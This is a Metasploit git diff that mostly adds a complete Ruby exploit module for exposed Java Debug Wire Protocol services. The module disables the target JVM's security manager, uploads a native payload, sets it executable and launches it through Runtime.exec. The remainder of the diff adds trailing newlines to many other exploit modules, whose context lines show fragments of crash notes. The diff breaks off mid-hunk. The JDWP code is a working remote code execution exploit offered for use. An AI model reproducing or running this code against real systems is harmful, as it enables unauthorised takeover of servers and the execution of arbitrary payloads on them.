+ 'Platform' => %w{ linux win }, + 'Arch' => ARCH_X86, + 'Payload' => + { + 'Space' => 2048, + 'BadChars' => '', + 'DisableNops' => true + }, + 'Targets' => + [ + [ 'Linux x86 (Native Payload)', + { + 'Platform' => 'linux' + } + ], + [ 'Windows x86 (Native Payload)', + { + 'Platform' => 'win' + } + ] + ], + 'DefaultTarget' => 0, + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'Mar 12 2010' + ) + + register_options( + [ + Opt::RPORT(8000), + OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]), + OptString.new('TMP_PATH', [ false, 'A directory where we can write files. Ensure there is a trailing slash']), + ], self.class) + + register_advanced_options( + [ + OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10]), + ], self.class) + end + + def check + connect + res = handshake + disconnect + + if res.nil? + return Exploit::CheckCode::Unknown + elsif res == HANDSHAKE + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Safe + end + + + def peer + "#{rhost}:#{rport}" + end + + def default_timeout + datastore['RESPONSE_TIMEOUT'] + end + + # Establishes handshake with the server + def handshake + sock.put(HANDSHAKE) + return sock.get(datastore['RESPONSE_TIMEOUT']) + end + + # Forges packet for JDWP protocol + def create_packet(cmdsig, data="") + flags = 0x00 + cmdset, cmd = cmdsig + pktlen = data.length + 11 + buf = [pktlen, @my_id, flags, cmdset, cmd] + pkt = buf.pack("NNCCC") + pkt << data + @my_id += 2 + pkt + end + + # Reads packet response for JDWP protocol + def read_reply(timeout = default_timeout) + response = sock.get(timeout) + fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response + pktlen, id, flags, errcode = response.unpack('NNCn') + response.slice!(0..10) + if errcode != 0 && flags == REPLY_PACKET_TYPE + fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{errcode}") + end + response + end + + # Returns the characters contained in the string defined in target VM + def solve_string(data) + sock.put(create_packet(STRINGVALUE_SIG, data)) + response = read_reply + return "" unless response + return read_string(response) + end + + # Unpacks received string structure from the server response into a normal string + def read_string(data) + data_len = data.unpack('N')[0] + data.slice!(0..3) + return data.slice!(0,data_len) + end + + # Creates a new string object in the target VM and returns its id + def create_string(data) + buf = build_string(data) + sock.put(create_packet(CREATESTRING_SIG, buf)) + buf = read_reply + return parse_entries(buf, [[@vars['objectid_size'], "obj_id"]], false) + end + + # Packs normal string into string structure for target VM + def build_string(data) + ret = [data.length].pack('N') + ret << data + + ret + end + + # Pack Fixnum for JDWP protocol + def format(fmt, value) + if fmt == "L" || fmt == 8 + return [value].pack('Q>') + elsif fmt == "I" || fmt == 4 + return [value].pack('N') + end + + fail_with(Failure::Unknown, "Unknown format") + end + + # Unpack Fixnum from JDWP protocol + def unformat(fmt, value) + if fmt == "L" || fmt == 8 + return value[0..7].unpack('Q>')[0] + elsif fmt == "I" || fmt == 4 + return value[0..3].unpack('N')[0] + end + + fail_with(Failure::Unknown, "Unknown format") + end + + # Parses given data according to a set of formats + def parse_entries(buf, formats, explicit=true) + entries = [] + + if explicit + nb_entries = buf.unpack('N')[0] + buf.slice!(0..3) + else + nb_entries = 1 + end + + nb_entries.times do |var| + + if var != 0 && var % 1000 == 0 + vprint_status("#{peer} - Parsed #{var} classes of #{nb_entries}") + end + + data = {} + + formats.each do |fmt,name| + if fmt == "L" || fmt == 8 + data[name] = buf.unpack('Q>')[0] + buf.slice!(0..7) + elsif fmt == "I" || fmt == 4 + data[name] = buf.unpack('N')[0] + buf.slice!(0..3) + elsif fmt == "S" + data_len = buf.unpack('N')[0] + buf.slice!(0..3) + data[name] = buf.slice!(0,data_len) + elsif fmt == "C" + data[name] = buf.unpack('C')[0] + buf.slice!(0) + elsif fmt == "Z" + t = buf.unpack('C')[0] + buf.slice!(0) + if t == 115 + data[name] = solve_string(buf.slice!(0..7)) + elsif t == 73 + data[name], buf = buf.unpack('NN') + end + else + fail_with(Failure::UnexpectedReply, "Unexpected data when parsing server response") + end + + end + entries.append(data) + end + + entries + end + + # Gets the sizes of variably-sized data types in the target VM + def get_sizes + formats = [ + ["I", "fieldid_size"], + ["I", "methodid_size"], + ["I", "objectid_size"], + ["I", "referencetypeid_size"], + ["I", "frameid_size"] + ] + sock.put(create_packet(IDSIZES_SIG)) + response = read_reply + entries = parse_entries(response, formats, false) + entries.each { |e| @vars.merge!(e) } + end + + # Gets the JDWP version implemented by the target VM + def get_version + formats = [ + ["S", "descr"], + ["I", "jdwp_major"], + ["I", "jdwp_minor"], + ["S", "vm_version"], + ["S", "vm_name"] + ] + sock.put(create_packet(VERSION_SIG)) + response = read_reply + entries = parse_entries(response, formats, false) + entries.each { |e| @vars.merge!(e) } + end + + def version + "#{@vars["vm_name"]} - #{@vars["vm_version"]}" + end + + def is_java_eight + version.downcase =~ /1[.]8[.]/ + end + + # Returns reference for all threads currently running on target VM + def get_all_threads + sock.put(create_packet(ALLTHREADS_SIG)) + response = read_reply + num_threads = response.unpack('N').first + response.slice!(0..3) + + size = @vars["objectid_size"] + num_threads.times do + t_id = unformat(size, response[0..size-1]) + @threads[t_id] = nil + response.slice!(0..size-1) + end + end + + # Returns reference types for all classes currently loaded by the target VM + def get_all_classes + return unless @classes.empty? + + formats = [ + ["C", "reftype_tag"], + [@vars["referencetypeid_size"], "reftype_id"], + ["S", "signature"], + ["I", "status"] + ] + sock.put(create_packet(ALLCLASSES_SIG)) + response = read_reply + @classes.append(parse_entries(response, formats)) + end + + # Checks if specified class is currently loaded by the target VM and returns it + def get_class_by_name(name) + @classes.each do |entry_array| + entry_array.each do |entry| + if entry["signature"].downcase == name.downcase + return entry + end + end + end + + nil + end + + # Returns information for each method in a reference type (ie. object). Inherited methods are not included. + # The list of methods will include constructors (identified with the name "") + def get_methods(reftype_id) + if @methods.has_key?(reftype_id) + return @methods[reftype_id] + end + + formats = [ + [@vars["methodid_size"], "method_id"], + ["S", "name"], + ["S", "signature"], + ["I", "mod_bits"] + ] + ref_id = format(@vars["referencetypeid_size"],reftype_id) + sock.put(create_packet(METHODS_SIG, ref_id)) + response = read_reply + @methods[reftype_id] = parse_entries(response, formats) + end + + # Returns information for each field in a reference type (ie. object) + def get_fields(reftype_id) + formats = [ + [@vars["fieldid_size"], "field_id"], + ["S", "name"], + ["S", "signature"], + ["I", "mod_bits"] + ] + ref_id = format(@vars["referencetypeid_size"],reftype_id) + sock.put(create_packet(FIELDS_SIG, ref_id)) + response = read_reply + fields = parse_entries(response, formats) + + fields + end + + # Returns the value of one static field of the reference type. The field must be member of the reference type + # or one of its superclasses, superinterfaces, or implemented interfaces. Access control is not enforced; + # for example, the values of private fields can be obtained. + def get_value(reftype_id, field_id) + data = format(@vars["referencetypeid_size"],reftype_id) + data << [1].pack('N') + data << format(@vars["fieldid_size"],field_id) + + sock.put(create_packet(GETVALUES_SIG, data)) + response = read_reply + num_values = response.unpack('N')[0] + + unless (num_values == 1) && (response[4].unpack('C')[0] == TAG_OBJECT) + fail_with(Failure::Unknown, "Bad response when getting value for field") + end + + response.slice!(0..4) + + len = @vars["objectid_size"] + value = unformat(len, response) + + value + end + + # Sets the value of one static field. Each field must be member of the class type or one of its superclasses, + # superinterfaces, or implemented interfaces. Access control is not enforced; for example, the values of + # private fields can be set. Final fields cannot be set.For primitive values, the value's type must match + # the field's type exactly. For object values, there must exist a widening reference conversion from the + # value's type to the field's type and the field's type must be loaded. + def set_value(reftype_id, field_id, value) + data = format(@vars["referencetypeid_size"],reftype_id) + data << [1].pack('N') + data << format(@vars["fieldid_size"],field_id) + data << format(@vars["objectid_size"],value) + + sock.put(create_packet(SETSTATICVALUES_SIG, data)) + read_reply + end + + + # Checks if specified method is currently loaded by the target VM and returns it + def get_method_by_name(classname, name, signature = nil) + @methods[classname].each do |entry| + if signature.nil? + return entry if entry["name"].downcase == name.downcase + else + if entry["name"].downcase == name.downcase && entry["signature"].downcase == signature.downcase + return entry + end + end + end + + nil + end + + # Checks if specified class and method are currently loaded by the target VM and returns them + def get_class_and_method(looked_class, looked_method, signature = nil) + target_class = get_class_by_name(looked_class) + unless target_class + fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found") + end + + get_methods(target_class["reftype_id"]) + target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature) + unless target_method + fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found") + end + + return target_class, target_method + end + + # Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept") + def str_to_fq_class(s) + i = s.rindex(".") + unless i + fail_with(Failure::BadConfig, 'Bad defined break class') + end + + method = s[i+1..-1] # Subtr of s, from last '.' to the end of the string + + classname = 'L' + classname << s[0..i-1].gsub(/[.]/, '/') + classname << ';' + + return classname, method + end + + # Gets the status of a given thread + def thread_status(thread_id) + sock.put(create_packet(THREADSTATUS_SIG, format(@vars["objectid_size"], thread_id))) + buf = read_reply(datastore['BREAK_TIMEOUT']) + unless buf + fail_with(Exploit::Failure::Unknown, "No network response") + end + status, suspend_status = buf.unpack('NN') + + status + end + + # Resumes execution of the application or thread after the suspend command or an event has stopped it + def resume_vm(thread_id = nil) + if thread_id.nil? + sock.put(create_packet(RESUMEVM_SIG)) + else + sock.put(create_packet(THREADRESUME_SIG, format(@vars["objectid_size"], thread_id))) + end + + response = read_reply(datastore['BREAK_TIMEOUT']) + unless response + fail_with(Exploit::Failure::Unknown, "No network response") + end + + response + end + + # Suspend execution of the application or thread + def suspend_vm(thread_id = nil) + if thread_id.nil? + sock.put(create_packet(SUSPENDVM_SIG)) + else + sock.put(create_packet(THREADSUSPEND_SIG, format(@vars["objectid_size"], thread_id))) + end + + response = read_reply + unless response + fail_with(Exploit::Failure::Unknown, "No network response") + end + + response + end + + # Sets an event request. When the event described by this request occurs, an event is sent from the target VM + def send_event(event_code, args) + data = [event_code].pack('C') + data << [SUSPEND_ALL].pack('C') + data << [args.length].pack('N') + + args.each do |kind,option| + data << [kind].pack('C') + data << option + end + + sock.put(create_packet(EVENTSET_SIG, data)) + response = read_reply + unless response + fail_with(Exploit::Failure::Unknown, "#{peer} - No network response") + end + return response.unpack('N')[0] + end + + # Parses a received event and compares it with the expected + def parse_event(buf, event_id, thread_id) + len = @vars["objectid_size"] + return false if buf.length < 10 + len - 1 + + r_id = buf[6..9].unpack('N')[0] + t_id = unformat(len,buf[10..10+len-1]) + + return (event_id == r_id) && (thread_id == t_id) + end + + # Clear a defined event request + def clear_event(event_code, r_id) + data = [event_code].pack('C') + data << [r_id].pack('N') + sock.put(create_packet(EVENTCLEAR_SIG, data)) + read_reply + end + + # Invokes a static method. The method must be member of the class type or one of its superclasses, + # superinterfaces, or implemented interfaces. Access control is not enforced; for example, private + # methods can be invoked. + def invoke_static(class_id, thread_id, meth_id, args = []) + data = format(@vars["referencetypeid_size"], class_id) + data << format(@vars["objectid_size"], thread_id) + data << format(@vars["methodid_size"], meth_id) + data << [args.length].pack('N') + + args.each do |arg| + data << arg + data << [0].pack('N') + end + + sock.put(create_packet(INVOKESTATICMETHOD_SIG, data)) + buf = read_reply + buf + end + + # Invokes a instance method. The method must be member of the object's type or one of its superclasses, + # superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods + # can be invoked. + def invoke(obj_id, thread_id, class_id, meth_id, args = []) + data = format(@vars["objectid_size"], obj_id) + data << format(@vars["objectid_size"], thread_id) + data << format(@vars["referencetypeid_size"], class_id) + data << format(@vars["methodid_size"], meth_id) + data << [args.length].pack('N') + + args.each do |arg| + data << arg + data << [0].pack('N') + end + + sock.put(create_packet(INVOKEMETHOD_SIG, data)) + buf = read_reply + buf + end + + # Creates a new object of specified class, invoking the specified constructor. The constructor + # method ID must be a member of the class type. + def create_instance(class_id, thread_id, meth_id, args = []) + data = format(@vars["referencetypeid_size"], class_id) + data << format(@vars["objectid_size"], thread_id) + data << format(@vars["methodid_size"], meth_id) + data << [args.length].pack('N') + + args.each do |arg| + data << arg + data << [0].pack('N') + end + + sock.put(create_packet(CREATENEWINSTANCE_SIG, data)) + buf = read_reply + buf + end + + def temp_path + return nil unless datastore['TMP_PATH'] + unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\') + fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH') + end + datastore['TMP_PATH'] + end + + # Configures payload according to targeted architecture + def setup_payload + # 1. Setting up generic values. + payload_exe = rand_text_alphanumeric(4 + rand(4)) + pl_exe = generate_payload_exe + + # 2. Setting up arch specific... + case target['Platform'] + when 'linux' + path = temp_path || '/tmp/' + payload_exe = "#{path}#{payload_exe}" + if @os.downcase =~ /win/ + print_warning("#{peer} - #{@os} system detected but using Linux target...") + end + when 'win' + path = temp_path || './' + payload_exe = "#{path}#{payload_exe}.exe" + unless @os.downcase =~ /win/ + print_warning("#{peer} - #{@os} system detected but using Windows target...") + end + end + + return payload_exe, pl_exe + end + + # Invokes java.lang.System.getProperty() for OS fingerprinting purposes + def fingerprint_os(thread_id) + size = @vars["objectid_size"] + + # 1. Creates a string on target VM with the property to be getted + cmd_obj_ids = create_string("os.name") + fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0 + cmd_obj_id = cmd_obj_ids[0]["obj_id"] + + # 2. Gets property + data = [TAG_OBJECT].pack('C') + data << format(size, cmd_obj_id) + data_array = [data] + runtime_class , runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty") + buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array) + fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C') + + str = unformat(size, buf[1..1+size-1]) + @os = solve_string(format(@vars["objectid_size"],str)) + end + + # Creates a file on the server given a execution thread + def create_file(thread_id, filename) + cmd_obj_ids = create_string(filename) + fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0 + + cmd_obj_id = cmd_obj_ids[0]["obj_id"] + size = @vars["objectid_size"] + data = [TAG_OBJECT].pack('C') + data << format(size, cmd_obj_id) + data_array = [data] + runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "", "(Ljava/lang/String;)V") + buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array) + fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C') + + file = unformat(size, buf[1..1+size-1]) + fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0) + + register_files_for_cleanup(filename) + + file + end + + # Stores the payload on a new string created in target VM + def upload_payload(thread_id, pl_exe) + size = @vars["objectid_size"] + if is_java_eight + runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64;", "getDecoder") + buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"]) + else + runtime_class , runtime_meth = get_class_and_method("Lsun/misc/BASE64Decoder;", "") + buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"]) + end + unless buf[0] == [TAG_OBJECT].pack('C') + fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") + end + + decoder = unformat(size, buf[1..1+size-1]) + if decoder.nil? || decoder == 0 + fail_with(Failure::Unknown, "Failed to create Base64 decoder object") + end + + cmd_obj_ids = create_string("#{Rex::Text.encode_base64(pl_exe)}") + if cmd_obj_ids.length == 0 + fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") + end + + cmd_obj_id = cmd_obj_ids[0]["obj_id"] + data = [TAG_OBJECT].pack('C') + data << format(size, cmd_obj_id) + data_array = [data] + + if is_java_eight + runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64$Decoder;", "decode", "(Ljava/lang/String;)[B") + else + runtime_class , runtime_meth = get_class_and_method("Lsun/misc/CharacterDecoder;", "decodeBuffer", "(Ljava/lang/String;)[B") + end + buf = invoke(decoder, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array) + unless buf[0] == [TAG_ARRAY].pack('C') + fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray") + end + + pl = unformat(size, buf[1..1+size-1]) + pl + end + + # Dumps the payload on a opened server file given a execution thread + def dump_payload(thread_id, file, pl) + size = @vars["objectid_size"] + data = [TAG_OBJECT].pack('C') + data << format(size, pl) + data_array = [data] + runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V") + buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array) + unless buf[0] == [TAG_VOID].pack('C') + fail_with(Failure::Unknown, "Exception while writing to file") + end + end + + # Closes a file on the server given a execution thread + def close_file(thread_id, file) + runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close") + buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"]) + unless buf[0] == [TAG_VOID].pack('C') + fail_with(Failure::Unknown, "Exception while closing file") + end + end + + # Executes a system command on target VM making use of java.lang.Runtime.exec() + def execute_command(thread_id, cmd) + size = @vars["objectid_size"] + + # 1. Creates a string on target VM with the command to be executed + cmd_obj_ids = create_string(cmd) + if cmd_obj_ids.length == 0 + fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") + end + + cmd_obj_id = cmd_obj_ids[0]["obj_id"] + + # 2. Gets Runtime context + runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime") + buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"]) + unless buf[0] == [TAG_OBJECT].pack('C') + fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") + end + + rt = unformat(size, buf[1..1+size-1]) + if rt.nil? || (rt == 0) + fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()") + end + + # 3. Finds and executes "exec" method supplying the string with the command + exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec") + if exec_meth.nil? + fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()") + end + + data = [TAG_OBJECT].pack('C') + data << format(size, cmd_obj_id) + data_array = [data] + buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array) + unless buf[0] == [TAG_OBJECT].pack('C') + fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") + end + end + + # Set event for stepping into a running thread + def set_step_event + # 1. Select a thread in sleeping status + t_id = nil + @threads.each_key do |thread| + if thread_status(thread) == THREAD_SLEEPING_STATUS + t_id = thread + break + end + end + fail_with(Failure::Unknown, "Could not find a suitable thread for stepping") if t_id.nil? + + # 2. Suspend the VM before setting the event + suspend_vm + + vprint_status("#{peer} - Setting 'step into' event in thread: #{t_id}") + step_info = format(@vars["objectid_size"], t_id) + step_info << [STEP_MIN].pack('N') + step_info << [STEP_INTO].pack('N') + data = [[MODKIND_STEP, step_info]] + + r_id = send_event(EVENT_STEP, data) + unless r_id + fail_with(Failure::Unknown, "Could not set the event") + end + + return r_id, t_id + end + + # Disables security manager if it's set on target JVM + def disable_sec_manager + sys_class = get_class_by_name("Ljava/lang/System;") + + fields = get_fields(sys_class["reftype_id"]) + + sec_field = nil + + fields.each do |field| + sec_field = field["field_id"] if field["name"].downcase == "security" + end + + fail_with(Failure::Unknown, "Security attribute not found") if sec_field.nil? + + value = get_value(sys_class["reftype_id"], sec_field) + + if(value == 0) + print_good("#{peer} - Security manager was not set") + else + set_value(sys_class["reftype_id"], sec_field, 0) + if get_value(sys_class["reftype_id"], sec_field) == 0 + print_good("#{peer} - Security manager has been disabled") + else + print_good("#{peer} - Security manager has not been disabled, trying anyway...") + end + end + end + + # Uploads & executes the payload on the target VM + def exec_payload(thread_id) + # 0. Fingerprinting OS + fingerprint_os(thread_id) + + vprint_status("#{peer} - Executing payload on \"#{@os}\", target version: #{version}") + + # 1. Prepares the payload + payload_exe, pl_exe = setup_payload + + # 2. Creates file on server for dumping payload + file = create_file(thread_id, payload_exe) + + # 3. Uploads payload to the server + pl = upload_payload(thread_id, pl_exe) + + # 4. Dumps uploaded payload into file on the server + dump_payload(thread_id, file, pl) + + # 5. Closes the file on the server + close_file(thread_id, file) + + # 5b. When linux arch, give execution permissions to file + if target['Platform'] == 'linux' + cmd = "chmod +x #{payload_exe}" + execute_command(thread_id, cmd) + end + + # 6. Executes the dumped payload + cmd = "#{payload_exe}" + execute_command(thread_id, cmd) + end + + + def exploit + @my_id = 0x01 + @vars = {} + @classes = [] + @methods = {} + @threads = {} + @os = nil + + connect + + unless handshake == HANDSHAKE + fail_with(Failure::NotVulnerable, "JDWP Protocol not found") + end + + print_status("#{peer} - Retrieving the sizes of variable sized data types in the target VM...") + get_sizes + + print_status("#{peer} - Getting the version of the target VM...") + get_version + + print_status("#{peer} - Getting all currently loaded classes by the target VM...") + get_all_classes + + print_status("#{peer} - Getting all running threads in the target VM...") + get_all_threads + + print_status("#{peer} - Setting 'step into' event...") + r_id, t_id = set_step_event + + print_status("#{peer} - Resuming VM and waiting for an event...") + response = resume_vm + + unless parse_event(response, r_id, t_id) + datastore['NUM_RETRIES'].times do |i| + print_status("#{peer} - Received #{i + 1} responses that are not a 'step into' event...") + buf = read_reply + break if parse_event(buf, r_id, t_id) + + if i == datastore['NUM_RETRIES'] + fail_with(Failure::Unknown, "Event not received in #{datastore['NUM_RETRIES']} attempts") + end + end + end + + vprint_status("#{peer} - Received matching event from thread #{t_id}") + print_status("#{peer} - Deleting step event...") + clear_event(EVENT_STEP, r_id) + + print_status("#{peer} - Disabling security manager if set...") + disable_sec_manager + + print_status("#{peer} - Dropping and executing payload...") + exec_payload(t_id) + + disconnect + end +end diff --git a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb index 0ac6810817..dc117b6b1a 100644 --- a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb +++ b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb @@ -113,4 +113,4 @@ class Metasploit3 < Msf::Exploit::Remote end -end \ No newline at end of file +end diff --git a/modules/exploits/unix/webapp/havalite_upload_exec.rb b/modules/exploits/unix/webapp/havalite_upload_exec.rb index 1d13b0c83f..87d0ffbb1c 100644 --- a/modules/exploits/unix/webapp/havalite_upload_exec.rb +++ b/modules/exploits/unix/webapp/havalite_upload_exec.rb @@ -130,4 +130,4 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Executing #{fname}...") exec(base, fname) end -end \ No newline at end of file +end diff --git a/modules/exploits/unix/webapp/horde_unserialize_exec.rb b/modules/exploits/unix/webapp/horde_unserialize_exec.rb index 90a1877755..5b599d3180 100644 --- a/modules/exploits/unix/webapp/horde_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/horde_unserialize_exec.rb @@ -141,4 +141,4 @@ class Horde_Kolab_Server_Decorator_Clean $popchain = serialize(new Horde_Kolab_Server_Decorator_Clean); -=end \ No newline at end of file +=end diff --git a/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb b/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb index 3db798b445..f49f7564fe 100644 --- a/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb +++ b/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb @@ -296,4 +296,4 @@ int __fastcall sub_67EED2B0(int a1, int a2) } return result; } -=end \ No newline at end of file +=end diff --git a/modules/exploits/windows/browser/clear_quest_cqole.rb b/modules/exploits/windows/browser/clear_quest_cqole.rb index 0f8dff21d5..b134a86e38 100644 --- a/modules/exploits/windows/browser/clear_quest_cqole.rb +++ b/modules/exploits/windows/browser/clear_quest_cqole.rb @@ -155,4 +155,4 @@ ESP is pointing to the second argument of RegisterSchemaRepoFromFileByDbSet and the stack. The ret from MFC80U!_AfxDispatchCall allows to get control on a reliable way when DEP is disabled -=end \ No newline at end of file +=end diff --git a/modules/exploits/windows/browser/crystal_reports_printcontrol.rb b/modules/exploits/windows/browser/crystal_reports_printcontrol.rb index 3a1a2953dc..4d4ac2ce78 100644 --- a/modules/exploits/windows/browser/crystal_reports_printcontrol.rb +++ b/modules/exploits/windows/browser/crystal_reports_printcontrol.rb @@ -311,4 +311,4 @@ class Metasploit3 < Msf::Exploit::Remote send_response(cli, html, {'Content-Type'=>'text/html'}) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb index b136a41c9f..9f2a5f660b 100644 --- a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb +++ b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb @@ -267,4 +267,4 @@ class Metasploit3 < Msf::Exploit::Remote send_response(cli, html, {'Content-Type'=>'text/html'}) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb b/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb index 2a9cfd1ae2..f426d31d07 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb @@ -253,4 +253,4 @@ class Metasploit3 < Msf::Exploit::Remote send_response(cli, html, {'Content-Type'=>'text/html'}) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb index f6a01d021d..cb807d442f 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb @@ -147,4 +147,4 @@ class Metasploit3 < Msf::Exploit::Remote send_response(cli, html, {'Content-Type'=>'text/html'}) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/browser/ibm_spss_c1sizer.rb b/modules/exploits/windows/browser/ibm_spss_c1sizer.rb index c85c94dcc8..88cf7fba5f 100644 --- a/modules/exploits/windows/browser/ibm_spss_c1sizer.rb +++ b/modules/exploits/windows/browser/ibm_spss_c1sizer.rb @@ -474,4 +474,4 @@ end .text:10018A06 push eax .text:10018A07 call dword ptr [ecx] # woot! -=end \ No newline at end of file +=end diff --git a/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb b/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb index b3f677f8cc..6f5b430820 100644 --- a/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb +++ b/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb @@ -308,4 +308,4 @@ $ ruby pattern_offset.rb 41306941 6888 $ ruby pattern_offset.rb 336b4632 6888 [*] Exact match at offset 4208 -=end \ No newline at end of file +=end diff --git a/modules/exploits/windows/browser/inotes_dwa85w_bof.rb b/modules/exploits/windows/browser/inotes_dwa85w_bof.rb index 5670eedd15..8c326407bb 100644 --- a/modules/exploits/windows/browser/inotes_dwa85w_bof.rb +++ b/modules/exploits/windows/browser/inotes_dwa85w_bof.rb @@ -286,4 +286,4 @@ class Metasploit3 < Msf::Exploit::Remote send_response(cli, html, {'Content-Type'=>'text/html'}) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/browser/mcafee_mvt_exec.rb b/modules/exploits/windows/browser/mcafee_mvt_exec.rb index 0c34987d18..b79c83586b 100644 --- a/modules/exploits/windows/browser/mcafee_mvt_exec.rb +++ b/modules/exploits/windows/browser/mcafee_mvt_exec.rb @@ -117,4 +117,4 @@ class Metasploit3 < Msf::Exploit::Remote end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb b/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb index 2de5599e9d..20d94cfb79 100644 --- a/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb +++ b/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb @@ -379,4 +379,4 @@ cccccccc ?? ??? 001f58d4 48 00 9c 02 84 14 5c 75-e8 ac 9c 02 1b 00 00 00 H.....\u........ 001f58e4 e8 52 19 00 ed 7e a1 ea-00 01 08 ff 08 00 00 00 .R...~.......... 001f58f4 90 01 00 00 f0 00 00 00-00 00 00 00 01 00 00 00 ................ -=end \ No newline at end of file +=end diff --git a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb index f5efd9b11a..e5ce111351 100644 --- a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb +++ b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb @@ -314,4 +314,4 @@ target.SetEngine(0x7ffe0300-0x45c); // Disclosing ntdll var leak = target.GetMiscAccess(); alert(leak); -=end \ No newline at end of file +=end diff --git a/modules/exploits/windows/browser/ntr_activex_stopmodule.rb b/modules/exploits/windows/browser/ntr_activex_stopmodule.rb index b7d998d5e8..ffd3bc01a2 100644 --- a/modules/exploits/windows/browser/ntr_activex_stopmodule.rb +++ b/modules/exploits/windows/browser/ntr_activex_stopmodule.rb @@ -200,4 +200,4 @@ And user to get RCE here: .text:10004473 jz short loc_10004477 .text:10004475 call eax ; RCE! -=end \ No newline at end of file +=end diff --git a/modules/exploits/windows/browser/ovftool_format_string.rb b/modules/exploits/windows/browser/ovftool_format_string.rb index 64e2f6b299..a44673dc43 100644 --- a/modules/exploits/windows/browser/ovftool_format_string.rb +++ b/modules/exploits/windows/browser/ovftool_format_string.rb @@ -129,4 +129,4 @@ xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> send_response(cli, ovf, {'Content-Type'=>'text/xml'}) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/browser/quickr_qp2_bof.rb b/modules/exploits/windows/browser/quickr_qp2_bof.rb index 8e173c5c33..965899b201 100644 --- 